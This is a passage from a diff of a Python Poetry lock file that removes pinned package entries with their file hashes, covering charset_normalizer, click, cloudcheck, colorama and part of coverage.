"charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"}, - {file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"}, - {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"}, -] - -[[package]] -name = "click" -version = "8.1.8" -description = "Composable command line interface toolkit" -optional = false -python-versions = ">=3.7" -groups = ["dev", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, - {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[[package]] -name = "click" -version = "8.3.1" -description = "Composable command line interface toolkit" -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, - {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[[package]] -name = "cloudcheck" -version = "9.3.0" -description = "Detailed database of cloud providers. Instantly look up a domain or IP address" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59199ed17b14ca87220ad4b13ca38999a36826a63fc3a86f6274289c3247bddb"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5e9f3b13eafafde34be9f1ca2aca897f6bbaf955c04144e42c3877228b3569f3"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3e6aeea4742501dde2b7815877a925da0b1463e51ebae819b5868f46ceb68024"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7bd368a8417e67a7313f276429d1fcf3f4fb2ee6604e4e708ac65112f22aac5"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9722d5dafcbb56152c0fd32d19573e5dd91d6f6d07981d0ef0fca9ae47900eb"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b83396008638a6efd631b25b435f31b758732fae97beb5fef5fa1997619ede0d"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:43d38b7195929e19287bf7e9c0155b8dd3cafaebddc642d31b96629c05d775c0"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ee2c52294285087b5f65715cdd8fc97358cce25af88ed265c1a39c9ac407cb2c"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:07e8dba045fc365f316849d4caac8c06886c5eb602fc9239067822c0ef6a8737"}, - {file = "cloudcheck-9.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:3b88fb61d8242ef1801d61177849a168a6427b4b113e5d2f4787c428a862a113"}, - {file = "cloudcheck-9.3.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:e765635136318808997deb3e633a35cde914479003321de21654a0f1b03b8820"}, - {file = "cloudcheck-9.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e275ee18f4991e50476971de5986fe42dc9180e66fd04f853d1c1adf4457379b"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4e8b26d6f57c8c4a95491235ebe31ece0d24c33c18e1226293cc47437b6b4d3"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1f61946050445be504dd9a2875fc15109d24d99f79b8925b2a8babaa62079ca2"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2f08ad1719d485d4049c6ad4c2867b979f9f2d8002459baf7b6f8e364ec6b78"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:51bc6c167bb0be90933f0c5907a4d3a82d23a02bb71aaab378fd8d6b76eac585"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5322e9aaf54e9d664436a305067976b7c1cff50a7dd2648f593bb4f02bfea9a"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9be898d7a98105f25e292c6f958ad862c5915c95c1628dc6dcdf7c9f9db404fd"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:51d3ee8c28efc9fc69122cfbec0b1dfc72469d905227f4cccaee490b8c725b88"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:becc2a61d07b8364280f33fc5540ddaf6c9d96f50ac5b1de0922036a76c685af"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:158e34819223485ed365a2f4f98b17029591a895869739afd9c5d64bfea68a09"}, - {file = "cloudcheck-9.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:b33bf641c96b03513c508dac40e0042dd260ae9c4ae4bcdfcbef92a91d5e4dc3"}, - {file = "cloudcheck-9.3.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:4ce814065be3f6341b63d0a34e1a8fbfcd294f911d2eef87c421f0ddb21f7c93"}, - {file = "cloudcheck-9.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:60be463311be5d4525acce03aff8795c8eebb30bea4da1a5451a468812a134c7"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56cb382f9da19fe24b300cdbb10aa44d14577d7cd5b20ff6ebc0fe0bad3b8e29"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da69db51d1c3b4a87a519d301f742ac52f355071a2f1acbbc65e4fc3ac7f314d"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68ae114b27342d0fe265aee543c154a1458be6dfea4aa9f49038870c6ede45ad"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5c71932bb407e1c39f275ef0d9cc0cf20f88fd1fac259b35641db91e9618b36"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c90d96a4d414e2f418ed6fbd39a93550de8e51c55788673a46410f020916616e"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9aedfac28ff9994c1dde5d89bba7d9a263c7d1e3a934ed62a8ae3ed48e851fb6"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:36d9afdd811998cbaebd3638e142453b2d82d5b6aeb0bfb6a41582cb9962ea4a"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ac1ff7eefaf892a67f8fad7a651a07ad530faddd9c5848261dc53a3a331045c6"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ee329c0996ebf0e245581a0707e5ee828fed5b761bdcd69577bc4ab4808a29d7"}, - {file = "cloudcheck-9.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:cfc70425ba37fae7a44a66a3833ef994b99f039c5a621f523852f61b6eb320c7"}, - {file = "cloudcheck-9.3.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:ed2e9171a41786f2454902b209fe999146dc2991c1d7d0ed68fe86bbb177552a"}, - {file = "cloudcheck-9.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1651903604090d5f4dc671c243383e87cd0ab53d7a34d4e7887d82e9f2077a28"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05ec385d95adef0a420a51a1df97d17b6c29d3030b2f2b1ffca5de1ea85ee7a5"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c477506721b87d7e0a6a13386bd57feb5ab1615cbcdd9d62971640df24ba70cc"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a996011efef6af71f2f712fbe9bc9fefd49216c0dffc648528abd329f6003a0"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af152cf8e1b2a845db3412b131d6c8c6964cff161aad9500b56bd383ec028936"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:359e7c66015d3245d636ce03aa527bf6d69c2e0f72278857a2b51e9673df9904"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a8138b78e7a49814ef6bf56f0de9b35c1e53473fd83cabb451db3e740ab5e83"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:22f3645c1eb67a3489c7ebbfef4eb3c1f39187ab54a5d61703cb26df8b477d38"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:78b2f7d8235f9d5fe2d3670c125769c65b94cca1e0170d682069bb478b20ffc8"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:360b80aad144c2fbf8cf251587af714f51d58b02e76593d60da40b20a6ba6140"}, - {file = "cloudcheck-9.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d93616c9d1651c5fc76aeafeb5fe854ea99a2a3c72b5cfc658c852f73e0adef7"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9d2fcdce20139ade4aedfce08d8bbab036178ce0bd3e3eb7402e01d98662d84e"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac36685a49614deec545d2048015c3f0998777df3678a09e865dade3f0157fc4"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8820f6ba9fe3ecd13b52600b4784e09a9f8c39e0a625d5c1365d5a362996bd13"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7497131e592ab84f817ebe47cce604653f32d764bb28bf44cd69f7b4d8a9e004"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3d77f037d0149d839e5d642f7ecdc83db686031081a006695eed74bb958baf09"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:47b591ef041ed9e333af98f186e3ce56f8c486e1fc91afb1a3633d43f28e34b8"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e48a176278b6e75638502a64b90b3ee9bba6a198c229ba8f1485e9eed527d20"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1d52f55834bf34bb75d0934ef60046e7ee584db09b2e269ef9170e73f8ddd45"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f"}, - {file = "cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5"}, -] - -[[package]] -name = "colorama" -version = "0.4.6" -description = "Cross-platform colored terminal text." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev", "docs"] -files = [ - {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, - {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, -] - -[[package]] -name = "coverage" -version = "7.10.7" -description = "Code coverage measurement for Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "coverage-7.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fc04cc7a3db33664e0c2d10eb8990ff6b3536f6842c9590ae8da4c614b9ed05a"}, - {file = "coverage-7.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e201e015644e207139f7e2351980feb7040e6f4b2c2978892f3e3789d1c125e5"}, - {file = "coverage-7.10.7-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:240af60539987ced2c399809bd34f7c78e8abe0736af91c3d7d0e795df633d17"}, - {file = "coverage-7.10.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8421e088bc051361b01c4b3a50fd39a4b9133079a2229978d9d30511fd05231b"}, - {file = "coverage-7.10.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6be8ed3039ae7f7ac5ce058c308484787c86e8437e72b30bf5e88b8ea10f3c87"}, - {file = "coverage-7.10.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e28299d9f2e889e6d51b1f043f58d5f997c373cc12e6403b90df95b8b047c13e"}, - {file = "coverage-7.10.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c4e16bd7761c5e454f4efd36f345286d6f7c5fa111623c355691e2755cae3b9e"}, - {file = "coverage-7.10.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b1c81d0e5e160651879755c9c675b974276f135558cf4ba79fee7b8413a515df"}, - {file = "coverage-7.10.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:606cc265adc9aaedcc84f1f064f0e8736bc45814f15a357e30fca7ecc01504e0"}, - {file = "coverage-7.10.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:10b24412692df990dbc34f8fb1b6b13d236ace9dfdd68df5b28c2e39cafbba13"}, - {file = "coverage-7.10.7-cp310-cp310-win32.whl", hash = 